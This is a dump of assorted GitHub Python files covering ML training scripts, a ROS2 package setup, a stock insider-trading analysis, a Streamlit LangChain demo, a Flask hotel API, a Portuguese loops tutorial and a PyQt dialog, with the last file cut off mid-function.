+{"seq_id":"12591218319","text":"import argparse\nimport datetime\nimport os\nimport numpy as np\nimport torch\nimport sys\nimport Config as cfg\nfrom NeuralNet import NeuralNet\nfrom Datasets import Datasets, DPA_datasets\nimport optuna\n\nparser = argparse.ArgumentParser(description='Nimrod Admoni, nimrodadmoni@campus.technion.ac.il',\n                                 formatter_class=argparse.RawTextHelpFormatter)\n\nmodel_names = list(cfg.MODELS.keys())\n\nparser.add_argument('-a', '--arch', metavar='ARCH', choices=cfg.MODELS.keys(), required=True,\n                    help='model architectures and datasets:\\n' + ' | '.join(cfg.MODELS.keys()))\n# parser.add_argument('--action', choices=['QUANTIZE', 'INFERENCE'], required=True,\n#                     help='QUANTIZE: symmetric min-max uniform quantization\\n'\n#                          'INFERENCE: either regular inference or hardware simulated inference')\n# arch=resnet50, dataset=imagenet threads=[1],\n# muxing=[0] epochs=100, cuda_conv=0\n# LR=0.1 WD=0.0001 MOMENTUM=0.9 GAMMA=0.1\n# NESTEROV=0 COSINE_LR=0 MILESTONES=[30, 60, 90] device=cuda data_type=bf16 stats=0 verbose=1 gpus=4 distributed=1 model_path=None\n# self.train_scheduler_cuda = optim.lr_scheduler.MultiStepLR(self.cuda_optmizer, milestones=MILESTONES, gamma=GAMMA)\n\nparser.add_argument('--desc',\n                    help='additional string to the test')\nparser.add_argument('--chkp', default=None, metavar='PATH',\n                    help='model checkpoint')\nparser.add_argument('--gpu', nargs='+', default=None,\n                    help='GPU to run on (default: 0)')\nparser.add_argument('--batch_size', default=128, type=int, metavar='N',\n                    help='batch size')\nparser.add_argument('-v', '--verbosity', default=0, type=int,\n                    help='verbosity level (0,1,2) (default: 0)')\nparser.add_argument('--start_bits', choices=[2, 1, 0], default=0, type=int, metavar='N',\n                    help='initial quantization bits')\nparser.add_argument('--training_epoches', default=50, type=int, metavar='N',\n                    help='initial quantization bits')\nparser.add_argument('--lr', default=0.1, type=float,\n                    help='learning rate')\nparser.add_argument('--lr_plan', nargs='+', default=[30, 60, 90], type=int,\n                    help='milestones')\nparser.add_argument('--gamma', default=0.1, type=float,\n                    help='gamma factor for advancing lr')\nparser.add_argument('--momentum', default=0.9, type=float,\n                    help='gamma factor for advancing lr')\nparser.add_argument('--wd', default=0.0001, type=float,\n                    help='gamma factor for advancing lr')\nparser.add_argument('--skip_bn_recal', action='store_true',\n                    help='skip BatchNorm recalibration (relevant only to the INFERENCE action)')\nparser.add_argument('--quantize', default=0, type=int,\n                    help='skip BatchNorm recalibration (relevant only to the INFERENCE action)')\nparser.add_argument('--layers', default=4, type=int,\n                    help='skip BatchNorm recalibration (relevant only to the INFERENCE action)')\n\nargs = parser.parse_args()\n\n\ndef train_network(arch, dataset, train_gen, test_gen, model_chkp=None, quantize=False, layers=4,\n                  lr_plan=[30, 60, 90], desc=None, epoches=50, lr=0.1, gamma=0.1, momentum=0.9, wd=0):\n    # Initialize log file\n    name_str = '{}_train_network_size-{}'.format(arch, dataset)\n    name_str = name_str + '_{}'.format(desc) if desc is not None else name_str\n    name_str = name_str + '_seed-{}'.format(42)\n    # Initialize model\n    nn = NeuralNet(arch, dataset=dataset, model_chkp=model_chkp, quantize=quantize, layers=layers)\n    # nn.model.set_min_max_update(True)\n    nn.best_top1_acc = 0\n    nn.next_train_epoch = 0\n    loss = nn.train(train_gen=train_gen, test_gen=test_gen, epochs=epoches, desc=desc, lr=lr, lr_plan=lr_plan,\n                    momentum=momentum, gamma=gamma, wd=wd)\n\n    return loss\n\n\ndef main():\n    args = parser.parse_args()\n\n    if args.gpu is not None:\n        os.environ['CUDA_VISIBLE_DEVICES'] = ','.join(args.gpu)\n\n    arch = args.arch\n    dataset = 'dpa-dataset'\n    saved_path, _ = os.path.split(os.path.abspath(__file__))\n    saved_models_path = os.path.join(cfg.basedir, '{}_{}'.format(args.desc, datetime.date.today().strftime('%Y_%m_%d')))\n    cfg.LOG.start_new_log(path=saved_models_path, name=args.desc)\n    cfg.BATCH_SIZE = args.batch_size\n    cfg.VERBOSITY = args.verbosity\n    cfg.USER_CMD = ' '.join(sys.argv)\n    cfg.INCEPTION = (arch == 'inception')\n\n    dataset_ = DPA_datasets('/home/nimroda/dpa_balance/src/DATA_from_keyset_9.csv',factor=1000)\n\n    # Deterministic random numbers\n    torch.backends.cudnn.deterministic = True\n    torch.manual_seed(cfg.SEED)\n    torch.cuda.manual_seed(cfg.SEED)\n    np.random.seed(cfg.SEED)\n\n    test_gen = dataset_.testset(batch_size=args.batch_size)\n    train_gen = dataset_.trainset(batch_size=args.batch_size)\n\n    model_chkp = None if args.chkp is None else cfg.RESULTS_DIR + '/' + args.chkp\n\n    train_network(arch, dataset, train_gen, test_gen, model_chkp=model_chkp, quantize=args.quantize, layers=args.layers,\n                  epoches=args.training_epoches, desc=args.desc, lr=args.lr, gamma=args.gamma, momentum=args.momentum,\n                  wd=args.wd, lr_plan=args.lr_plan)\n    return\n\n\ndef objective(trial):\n    device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n    cfg.LOG.write(\"running on \" + device)\n    epochs = trial.suggest_categorical('epochs', [50, 80, 100, 150])\n    batch_size = trial.suggest_categorical('batch_size', [8, 32, 128])\n    lr = trial.suggest_loguniform('lr', 5e-5, 1e-2)\n    arch = trial.suggest_categorical('arch', ['4Layers', '7Layers', '9Layers'])\n    wd = trial.suggest_loguniform('wd', 1e-5, 1e-3)\n    dataset = 'dpa-dataset'\n    saved_path, _ = os.path.split(os.path.abspath(__file__))\n    saved_models_path = os.path.join(cfg.basedir, '{}_{}'.format(args.desc, datetime.date.today().strftime('%Y_%m_%d')))\n    cfg.LOG.start_new_log(path=saved_models_path, name=args.desc)\n    cfg.BATCH_SIZE = args.batch_size\n    cfg.VERBOSITY = args.verbosity\n    cfg.USER_CMD = ' '.join(sys.argv)\n    cfg.INCEPTION = (arch == 'inception')\n\n    dataset_ = DPA_datasets('/home/nimroda/dpa_balance/src/DATA_from_keyset_9.csv')\n\n    # Deterministic random numbers\n    torch.backends.cudnn.deterministic = True\n    torch.manual_seed(cfg.SEED)\n    torch.cuda.manual_seed(cfg.SEED)\n    np.random.seed(cfg.SEED)\n\n    test_gen = dataset_.testset(batch_size=batch_size)\n    train_gen = dataset_.trainset(batch_size=batch_size)\n\n    loss = train_network(arch, dataset, train_gen, test_gen, quantize=args.quantize,\n                         epoches=epochs, desc=args.desc, lr=lr, gamma=args.gamma, momentum=args.momentum,\n                         wd=wd, lr_plan=args.lr_plan)\n\n    return loss\n\n\ndef parameter_sweep():\n    cfg.LOG.start_new_log(name='parameter_search')\n    study = optuna.create_study(direction='minimize')\n    study.optimize(objective, n_trials=30)\n\n\nif __name__ == '__main__':\n    #parameter_sweep()\n    main()","repo_name":"nimrod216/dpa_balance","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7049,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"21299506902","text":"import yaml\nimport package\nimport package.optim as optim\n\nfrom train import Train\nfrom plot import plot_acc_loss\n\nwith open('layers.yaml') as f:\n    config = yaml.safe_load(f)\n\n\nif __name__ == \"__main__\":\n    batch_size = 10\n    classes = 5\n\n    train_layers = config['train_layers']\n    test_layers = config['test_layers']\n\n    loss_fn = package.CrossEntropyLoss()\n    train_net = package.Net(train_layers)\n    test_net = package.Net(test_layers)\n    optimizer = optim.Adam(train_net.parameters, 0.0003)\n\n    T = Train(loss_fn, 'scenes',\n              save_model_path='/home/kana/LinuxData/CNN/saved_model/scenes/new')\n    for epoch in range(99999):\n        T.train(net_train=train_net, Optimizer=optimizer, epoch=epoch)\n        T.vali(net_vali=test_net)\n        plot_acc_loss(T.history())\n","repo_name":"KanaMeisa/ImageClassification-NumPyCNN","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"}
+{"seq_id":"38392869795","text":"from setuptools import setup\nfrom setuptools import find_packages\n\npackage_name = 'joystick_service'\n\nsetup(\n    name=package_name,\n    version='0.0.0',\n    packages=find_packages(exclude=['test']),\n    data_files=[\n        ('share/ament_index/resource_index/packages',\n            ['resource/' + package_name]),\n        ('share/' + package_name, ['package.xml']),\n    ],\n    install_requires=['setuptools'],\n    zip_safe=True,\n    maintainer='gihong',\n    maintainer_email='gihong@todo.todo',\n    description='Turtle Sim control using service with joystick',\n    license='TODO: License declaration',\n    tests_require=['pytest'],\n    entry_points={\n        'console_scripts': [\n        'server = joystick_service.server:main',\n        'client = joystick_service.client:main'\n        ],\n    },\n)\n","repo_name":"KuGihong/ROS2","sub_path":"joystick_service/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"23959610305","text":"# from PIL import Image\n\n# # Cargar la imagen\n# img = Image.open('C:/Users/nfons/Documents/Proyecto_grado/API/Backend/Dataset/prueba.jpg')\n\n# # Leer el valor de la etiqueta de metadatos\n# length = img.info.get('length')\n\n# # Imprimir el valor de la etiqueta de metadatos\n# print('La longitud del pez en la imagen es:', length)\nimport exifread\nimport os\n\n# Directorio donde se encuentran las imágenes\ndir_path = \"C:/Users/nfons/Documents/Proyecto_grado/API/Backend/Dataset/\"\n\n# Leer cada imagen en el directorio y verificar si la etiqueta de longitud se ha guardado correctamente\nfor file in os.listdir(dir_path):\n    # Leer la imagen\n    img_path = os.path.join(dir_path, file)\n\n    # Leer los metadatos de la imagen\n    with open(img_path, 'rb') as f:\n        tags = exifread.process_file(f)\n\n    # Verificar si la etiqueta de longitud se ha guardado correctamente\n    if 'Image Tag 0x8769' in tags:\n        length = tags['Image Tag 0x8769'].values\n        print(\"La longitud de la imagen {} es {}\".format(file, length))\n    else:\n        print(\"La imagen {} no tiene etiqueta de longitud\".format(file))\n","repo_name":"nicoolasfs/back_proyect_grad","sub_path":"ver_metadatos.py","file_name":"ver_metadatos.py","file_ext":"py","file_size_in_byte":1106,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"9790742778","text":"\n\nfrom os import name\nfrom scipy.stats import pearsonr\nimport pandas as pd, numpy as np, joblib\nimport yfinance as yf\nimport matplotlib.pyplot as plt\n\nfrom datetime import datetime\n# datetime object containing current date and time\nnow = datetime.now()\n# dd/mm/YY H:M:S\ndt_string = now.strftime(\"%Y-%m-%d-%H-%M-%S\")\n\ndef insider(data):\n    data_dict = {}\n    names = [i for i in data[0].split('\\t')]\n    for i in names:\n        data_dict[i] = []\n    print('data_dict', data_dict)\n    print(\"names:\", names)\n    print(data[1].split('\\t'))\n\n    for k, line in enumerate(data[1:]):\n\n        # print(line)\n        if 'opbk' in line.lower():\n            print(line)\n\n        for j, val in enumerate(line.split('\\t')):\n            data_dict[names[j]].append(val)\n\n        \n    data_DF = pd.DataFrame(data_dict) \n    print(\"data_dict:\\n\", data_DF)\n    \n    # Remove entries that hasn't got 'Feb' in them\n    print(\"len(data_DF):\", len(data_DF))\n    \n    # data_DF = data_DF[data_DF['Date'].str.contains('Feb')]\n\n    print(\"len(data_DF):\", len(data_DF))\n    data_DF = data_DF[data_DF['SEC Form 4\\n'].str.contains('Feb 16')<0.5]\n    print(\"len(data_DF):\", len(data_DF))\n    data_DF = data_DF[data_DF['SEC Form 4\\n'].str.contains('Feb 15')<0.5]\n    # data_DF = data_DF[data_DF['SEC Form 4\\n'].str.contains('Feb 14')<0.5]\n    print(\"len(data_DF):\", len(data_DF))\n\n    print(\"data_DF.iloc(1):\\n\", data_DF.iloc[0])\n    print(\"len(data_DF):\", len(data_DF))\n    m = []\n    close = []\n    save = True\n\n    if save:\n        for i in range(len(data_DF)):\n            line = data_DF.iloc[i]\n            print('yoyoyoyo')\n            # print(line)\n            if 'feb' in line['SEC Form 4\\n'].lower():\n                print('feb')\n                month = '02'\n                startDate = f\"2021-{month}-\"+ line['SEC Form 4\\n'][4:6]\n\n                # print(start_date)\n                # endDate = \"2021-02-16\" # 2021-02-07 for first dataset\n                endDate = f\"2021-02-{int(startDate[-2:])+6}\" # 2021-02-07 for first dataset\n                stock_data = yf.download(line['Ticker'],startDate,endDate)        \n                # print('feb', 'stock_data:\\n',stock_data)\n                m.append((stock_data.Close[-1]-stock_data.Close[0])/stock_data.Close[0])\n                close.append(stock_data.Close[0])\n\n            elif 'jan' in line['Date'].lower():\n                \n                print('jan')\n                month = '01'\n                startDate = f\"2021-{month}-\"+ line['Date'][4:6]\n                print('startDate:', startDate)\n                endDate = \"2021-02-07\"\n                stock_data = yf.download(line['Ticker'], startDate, endDate)        \n                m.append((stock_data.Close[-1]-stock_data.Close[0])/stock_data.Close[0])\n                close.append(stock_data.Close[0])\n                \n                # print(stock_data)\n\n        joblib.dump(m,f'data/insider_price_change_pct_{dt_string}')\n        joblib.dump(close,f'data/close_insider_{dt_string}')\n\n    else: \n        m = np.array(joblib.load('data/'+'insider_price_change_pct'))\n        close = np.array(joblib.load('data/'+'close_insider'))\n\n    for i, val in enumerate(data_DF['#Shares']):\n        data_DF['#Shares'][i] = float(val.replace(',', ''))\n\n    # print(\"\\ndata_DF after non feb removed\")\n    # print(data_DF)\n\n    data_DF['insider_price_change_pct'] = m\n    data_DF['close'] = close\n\n    print(data_DF[['insider_price_change_pct', '#Shares']])\n    data_DF = data_DF.drop_duplicates('Ticker')\n\n    print(\"len(m), data_DF['insider_price_change_pct']:\", len(m), len(data_DF['insider_price_change_pct']))\n\n    print(\"######\\n mean:\", np.mean(data_DF['insider_price_change_pct']))\n    print(\"######\\n median:\", np.median(data_DF['insider_price_change_pct']))\n    print(m[:5])\n    print(\"pearsonr(close, m):\", pearsonr(data_DF['close'], data_DF['insider_price_change_pct']))\n\n        \n    # data_DF['#Shares'] = pd.to_numeric(data_DF['#Shares'])\n    data_DF = data_DF.sort_values(by=['#Shares'])\n    print(\"len(data_DF['insider_price_change_pct'][data_DF['insider_price_change_pct']>0])/len(data_DF['insider_price_change_pct']):\", len(data_DF['insider_price_change_pct'][data_DF['insider_price_change_pct']>0])/len(data_DF['insider_price_change_pct']))\n\n    print(\"type(data_DF['#Shares'][0]):\",type(data_DF['#Shares'][0]))\n    # print('data_DF sorted:\\n', data_DF)\n    if 0:\n        fig, (ax1,ax2) = plt.subplots(1,2, figsize=[20,12]) \n        ax1.hist(m, bins=50)\n        # ax2.scatter(data_DF['insider_price_change_pct'], data_DF['#Shares'])\n        ax2.hist2d(close, data_DF['insider_price_change_pct'], bins= 50)\n        plt.show()\n\n    # startDate = '2021-02-03'\n    # endDate = '2021-02-06'\n\n    # data = yf.download('OPBK',startDate,endDate)\n\n    # print(data)\n\ndef get_label(df_row):\n    print('df_row', df_row)\n    start_date = '2021 ' + df_row[0]['Date']\n    start_date = datetime.datetime.strptime(start_date, \"%Y %b %d\")\n    start_date = str(start_date).split(' ')[0]\n\n    end_date = str(datetime.date.fromtimestamp(df_row[0]['time_stamp']))\n    \n    if start_date == end_date:\n        return 0\n\n    company = df_row[0]['Ticker']\n    \n    import yfinance as yf\n\n    change = yf.download(company, start_date, end_date)\n    return change.Close[-1]-change.Close[-1]\n\nif __name__=='__main__':\n    # with open('insider_data.txt') as fil:\n    #     data0 = fil.readlines()\n\n    # insider(data0)\n\n    with open('insider_data_21-02-09_21-02-16.txt') as fil:\n        data0 = fil.readlines()\n\n        insider(data0)","repo_name":"zidane501/stocks-open","sub_path":"insider.py","file_name":"insider.py","file_ext":"py","file_size_in_byte":5502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"13515599224","text":"import json\nimport uuid\nfrom io import StringIO\n\nfrom django.core.management import call_command\nfrom django.test import TestCase\n\nfrom mega_menu.models import Menu\n\n\nclass ImportMegaMenuTests(TestCase):\n    def test_no_menus_exist_by_default(self):\n        self.assertFalse(Menu.objects.exists())\n\n    def test_import(self):\n        submenus = [\n            {\n                \"type\": \"submenu\",\n                \"id\": str(uuid.uuid4()),\n                \"value\": {\n                    \"title\": \"A submenu\",\n                    \"overview_page\": 123,\n                    \"links\": [\n                        {\n                            \"text\": \"A link\",\n                            \"url\": \"/foo/bar\",\n                        },\n                    ],\n                },\n            }\n        ]\n\n        stdin = StringIO(json.dumps(submenus))\n        stdout = StringIO()\n\n        call_command(\"import_mega_menu\", \"en\", filename=stdin, stdout=stdout)\n        self.assertEqual(\n            stdout.getvalue(), \"Created mega menu for language en.\\n\"\n        )\n\n        menu = Menu.objects.get(language=\"en\")\n        self.assertSequenceEqual(menu.submenus.raw_data, submenus)\n","repo_name":"cfpb/consumerfinance.gov","sub_path":"cfgov/mega_menu/tests/management/commands/test_import_mega_menu.py","file_name":"test_import_mega_menu.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","stars":241,"dataset":"github-code","pt":"37"}
+{"seq_id":"41521961256","text":"import os\nimport streamlit as st\nimport tempfile\nimport pandas as pd\nfrom datetime import timedelta\nimport datetime\nfrom langchain.document_loaders.csv_loader import CSVLoader\nfrom langchain.embeddings.openai import OpenAIEmbeddings\nfrom langchain.llms import OpenAI\nfrom langchain.chains import SimpleSequentialChain\nfrom langchain.prompts.prompt import PromptTemplate\nfrom langchain.chains import LLMChain\nfrom langchain.text_splitter import CharacterTextSplitter\nfrom langchain.vectorstores import Chroma\n\n__import__('pysqlite3')\nimport sys\nsys.modules['sqlite3'] = sys.modules.pop('pysqlite3')\n\nst.title(\"LLM Recommendation Demo 🤖\" )\n\n# Set openai api key\nuser_api_key = st.text_input(\n    label=\"OpenAI API key 👇\",\n    placeholder=\"OpenAIのAPIキーをペーストしてください\",\n    type=\"password\"\n)\n\nos.environ['OPENAI_API_KEY'] = user_api_key\n\n#upload CSV\nuploaded_file = st.file_uploader(\"upload\", type=\"csv\")\n\n# Define templates\ntemplate_1 = \"\"\"\nYou are a project manager and professional in team building. \nBased on the [PROJECT CONTEXT] below summarize the project into a comprehensive description in 200 words covering all the categories below:\n\n[PROJECT CONTEXT]\n[Project Name]\n{name_input}\n\n[Project Overview]\n{overview_input}\n\n[Project Duration]\n{duration_input}\n\n[Project Goals]\n{goals_input}\n\n[Team position]\n{position_input}\n\n[Desired Outcome]\n{outcome_input}\n[/PROJECT CONTEXT]\n\"\"\"\n\ntemplate_2 = \"\"\"\n<<SYSTEM>> You are a project manager and professional in team building. You can build a team and \n    match employees for a specific project the most efficient way. Also you are a professional in understanding what \n    people's roles and skills are required based on the [PROJECT SUMMARY AND SPECIFIC SEQUENTIAL STEPS]. Your answer \n    should not include any annotations and abstract besides the output structure in the following example. <</SYSTEM>>\n\n    [OUTPUT STRUCTURE]\n    [STRUCTURE FORMAT]\n    [Role]\n    [Technical skills]\n    [Soft Skills]\n    [Tools]\n    [/Role]\n\n    [/STRUCTURE FORMAT]\n    [EXAMPLE]\n    Team Roles, Skills, and Tools for the Project:\n\n    Project Manager\n    Technical Skills: Project management methodologies, communication, risk management.\n    Soft Skills: Leadership, communication, problem-solving.\n    Tools: Project management software (e.g., Jira, Trello), communication tools (e.g., Slack, Microsoft Teams).\n\n    Data Scientist\n    Technical Skills: Machine Learning, data analysis, feature engineering, algorithm development.\n    Soft Skills: Critical thinking, attention to detail, analytical mindset.\n    Tools: Python, Jupyter Notebook, pandas, scikit-learn, TensorFlow or PyTorch.\n\n    Machine Learning Engineer\n    Technical Skills: Machine Learning algorithms, model training, evaluation, optimization.\n    Soft Skills: Collaboration, teamwork, problem-solving.\n    Tools: Python, scikit-learn, TensorFlow or PyTorch, model evaluation metrics.\n    [/EXAMPLE]\n    [/OUTPUT STRUCTURE]\n\n    [TASK] Define key roles for the following project, for each role define necessary skills, both technical and \n    soft-skills, tools. Write down a list that includes specific role, role’s skills and tools. [/TASK]\n\n    [PROJECT SUMMARY AND SPECIFIC SEQUENTIAL STEPS]\n    {agent_1_output}\n    [/PROJECT SUMMARY AND SPECIFIC SEQUENTIAL STEPS]\n\"\"\"\n\n# Make a simple sequential chain\ndef sequential_chain():\n    llm = OpenAI(model=\"text-davinci-003\")\n    prompt_1 = PromptTemplate(\n        input_variables=[\"name_input\", \"overview_input\", \"duration_input\", \"goals_input\", \"position_input\", \"output_input\"],\n        template=template_1\n    )\n    chain = LLMChain(llm=llm, prompt=prompt_1)\n\n\n    inputs = {'name_input': name, 'overview_input': overview, 'duration_input': duration, 'goals_input': goals,\n              'position_input': positions, 'outcome_input': desired_outcomes}\n\n    output = chain.run(inputs)\n\n    return output\n\n\n# Load CSV file and process the data\nif uploaded_file:\n    with tempfile.NamedTemporaryFile(delete=False) as tmp_file:\n        tmp_file.write(uploaded_file.getvalue())\n        tmp_file_path = tmp_file.name\n\n    raw_csv = CSVLoader(file_path=tmp_file_path, encoding=\"utf-8\", csv_args={'delimiter': ','})\n\n    dataset = raw_csv.load()\n\n    text_splitter_dataset = CharacterTextSplitter(chunk_size=512, chunk_overlap=24)\n\n    documents = text_splitter_dataset.split_documents(dataset)\n\n    database = Chroma.from_documents(documents, OpenAIEmbeddings())\n\n    def position_retrieve(path):\n        employees = pd.read_csv(path)\n        positions = list(employees['Position'])\n        positions = set(','.join(positions).split(sep=\",\"))\n        return positions\n\n    with st.form(key='my_form', clear_on_submit=True):\n\n        \"### Describe your project\"\n\n        #user_input = st.text_input('プロジェクト名の入力:')\n        name = st.text_input('Input project name:')\n        overview = st.text_area('Input project overview')\n        complete_by = st.date_input('Choose project completion date')\n        goals = st.text_area('Input project goals')\n        positions = st.multiselect('Choose required positions', position_retrieve(tmp_file_path))\n        desired_outcomes = st.text_area('Input project desired outcomes')\n        match_button = st.form_submit_button(label=\"Submit\")\n\n        duration = str(complete_by - datetime.date.today())\n        positions = ', '.join(positions)\n\n        inputs = {'name_input': name, 'overview_input': overview, 'duration_input': duration, 'goals_input': goals,\n              'position_input': positions, 'outcome_input': desired_outcomes}\n\n        if match_button:\n            response = sequential_chain()\n            output = database.similarity_search(response)\n            st.write(\"Here's the summary of the project based on your input👇\")\n            st.write(response)\n            st.write(\"Here's an inhouse engineer recommended based on the input dataset👇\")\n            st.write(output[0].page_content)","repo_name":"MasashiHashiguchi/dev-support","sub_path":"pages/LLM_recommendation_demo.py","file_name":"LLM_recommendation_demo.py","file_ext":"py","file_size_in_byte":5959,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35391101551","text":"from random import *\n\nbag = [0, 1, 2, 3]\n\nbag_random = bag.copy()\nshuffle(bag_random, random)\n\n\ndef creer_enchevetrements(bag, i, max):\n    jeu = []\n    if max <= len(bag) + 1:\n        nbr = max\n        for k in range(nbr):\n            couple = (bag_random[k], i)\n            jeu.append(couple)\n            for j in range(len(jeu)):\n                element1 = jeu[j][0]\n                element2 = jeu[j][1]\n                if element1 == element2:\n                    jeu.pop(j)\n\n    else:\n        return \"il n'y a pas autant de baguettes\"\n    return jeu\n\n\n# print(creer_enchevetrements(bag, 8, 5))\n\n\ndef peut_retirer(i, bag, jeu):\n    if i not in bag:\n        return False\n    for (i, j) in jeu:\n        if i == j:\n            return False\n    return True\n\n\ndef creer_mikado(bag):\n    res = []\n    for i in bag:\n        res += creer_enchevetrements(bag, i, len(bag) - 1)\n    return res\n\n\n# print(creer_mikado(bag))\n# print(creer_mikado(bag))\n\ndef quel_ordre(bag, jeu):\n    if jeu == []:\n        return bag\n    for baguette in bag:\n        if peut_retirer(baguette, bag, jeu):\n            sous_bag = bag[:]\n            sous_bag.remove(baguette)\n            sous_jeu = [c for c in jeu if baguette not in c]\n            sous_ordre = quel_ordre(sous_bag, sous_jeu)\n            if sous_ordre is None:\n                return None\n            else:\n                return [baguette] + sous_ordre\n\n    return None\n\n\njeu = creer_mikado(bag)\nordre = quel_ordre(bag, jeu)\n\nprint(ordre)\n","repo_name":"sametcatakli/algo1","sub_path":"s6/mikado.py","file_name":"mikado.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"fr","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"24892900421","text":"#São estruturas utilizadas para repetir um trecho de cõdigo um determinado número de vezes. Esse número pode ser conhecido previamente ou determinado através de uma expressão lógica.\n\n#exemplo sem repetição\n\n#a = int(input(\"Informe um número inteiro: \"))\n#print(a)\n\n#a += 1\n#print(a)\n\n#a += 1\n#print(a)\n\n#Comando for\n\n#É usado para percorrer um objeto iterável.\n#Faz sentido usar quando sabemos o número exato de vezes que nosso bloco de código deve ser executado, ou quando queremos percorrer um objeto iterável.\n\n#texto = input(\"Informe um texto: \")\n#VOGAIS = \"AEIOU\"\n\n# for letra in texto:\n   # if letra.upper() in VOGAIS:\n        #print(letra, end= \" \")\n\n#print() #adiciona um a quebra de linha\n\n# Comando for else:\n\n#texto = input(\"Informe um texto: \")\n#VOGAIS = \"AEIOU\"\n\n#for letra in texto:\n    #if letra.upper() in VOGAIS:\n        #print(letra, end= \" \")\n\n#else:\n    #print() #adiciona um a quebra de linha\n    #print(\"Executa no final do laço\")\n    \n# Função range\n\n#Range é uma função built-in do Python, ela é usada para produzir uma sequência de números inteiros a partir de um início (inclusivo) para um fim (exclusivo).\n#Se usarmos range (i, j) será produzido:\n\n    #i, i+1, i+2, i+3, ..., j-1.\n\n#Ela recebe 3 argumentos: stop (obrigatório), start (opcional) e step opcional.\n\n#list(range(4))\n#>>>> [0, 1, 2, 3]  #range(stop) -> range object\n\n# Utilizando range com for\n\n#for numero in range(0,11):\n#    print(numero, end=\" \")\n#>>>> 0 1 2 3 4 5 6 7 8 9 10\n\n#exibindo a tabuada do 5\n#for numero in range(0, 51, 5): #0 start, 5 step opcional e 51 stop\n    #print(numero, end=\" \")\n#>>>> 0 5 10 15 20 25 30 35 40 45 50\n\n# Comando while\n\n#O comando while é usado para repetir um bloco de código várias vezes.\n#Faz sentido usar while quando não sabemos o número exato de vezes que nosso bloco de código deve ser executado.\n\nopcao = -1\n\nwhile opcao != 0:\n    opcao = int(input(\"[1] Sacar \\n[2] Extrato \\n[0] Sair \\n\"))\n    \n    if opcao == 1:\n        print(\"Sacando ...\")\n    elif opcao == 2:\n        print(\"Exibindo o extrato ...\")\n        \nelse: \n    print(\"Obrigado por usar nosso sistema bancário, até logo!\")\n    \n\n","repo_name":"icmarques/python-dio","sub_path":"1. Fundamentos/estrutura-repeticao.py","file_name":"estrutura-repeticao.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"35114157989","text":"from flask import Flask, jsonify\nfrom flask_restful import Api\nfrom flask_jwt_extended import JWTManager\n\nfrom resources.hotel import Hotels, Hotel\nfrom resources.user import User, UserSignup, UserSignin, UserSignout\nfrom blacklist import BLACKLIST\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['JWT_SECRET_KEY'] = 'AlotOfSecret'\napp.config['JWT_BLACKLIST_ENABLED'] = True\n\napi = Api(app)\njwt = JWTManager(app)\n\n@app.before_first_request\ndef create_database():\n  database.create_all()\n\n@jwt.token_in_blacklist_loader\ndef verify_blacklsit(token):\n  return token['jti'] in BLACKLIST\n\n@jwt.revoked_token_loader\ndef access_token_invalidated():\n  return jsonify({'message': 'You need to signin to do this operation'}), 401\n\napi.add_resource(Hotels, '/hotels')\napi.add_resource(Hotel, '/hotels/<string:hotel_id>')\napi.add_resource(User, '/users/<int:user_id>')\napi.add_resource(UserSignup, '/signup')\napi.add_resource(UserSignin, '/signin')\napi.add_resource(UserSignout, '/signout')\n\nif __name__ == '__main__':\n  from sql_alchemy import database\n  database.init_app(app)\n  app.run(debug=True)\n","repo_name":"vitortrimer/FLASK-HOTEL-PRICES","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"70526698346","text":"from PyQt5.uic import loadUiType\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\nfrom PyQt5.QtGui import *\r\nfrom PyQt5.QtCore import *\r\nfrom printGui import Ui_WindowPrint\r\nfrom Curve_Trace_Reporting_Tool import *\r\nfrom customReport import *\r\n\r\n\r\nclass MainPrint(QMainWindow, Ui_WindowPrint):\r\n\tdef __init__(self,parent=None):\r\n\t\tsuper(MainPrint, self).__init__(parent)\r\n\t\tself.parent = parent\r\n\t\tself.setupUi(self)\r\n\t\tself.listViewName.hide()\r\n\t\tself.radioButtonSelection.clicked.connect(self.with_selection)\r\n\t\tself.listViewNamewithLim.hide()\r\n\t\tself.listViewNamewithRef.hide()\r\n\t\tself.radioButtonSelectionwithLim.clicked.connect(self.with_selectionLim)\r\n\t\tself.radioButtonSelectionwithRef.clicked.connect(self.with_selectionRef)\r\n\t\tself.pushButtonPrint.clicked.connect(self.actionPrint)\r\n\t\tself.selectedFiles=[]\r\n\t\tself.sel_item=[]\r\n\t\tself.label.setText(\"Max. number of figures : \" +str(len(self.parent.main_mfiles)))\r\n\r\n\r\n\r\n\tdef checkInput(self, title, path_pdf, path1):\r\n\t\t'''\r\n\t\tCheck if user inputs are correct\r\n\t\t'''\r\n\t\t#print(path_pdf, title, number)\r\n\t\tflag = 1\r\n\t\tif os.path.exists(path1) == True :\r\n\t\t\tif title == '' or path_pdf == '' or len(os.listdir(path1)) == 0 :\r\n\t\t\t\tflag = 1\r\n\t\t\telse :\r\n\t\t\t\tflag = 0\r\n\t\telse :\r\n\t\t\tflag = 1\r\n\t\treturn flag\r\n\r\n\tdef 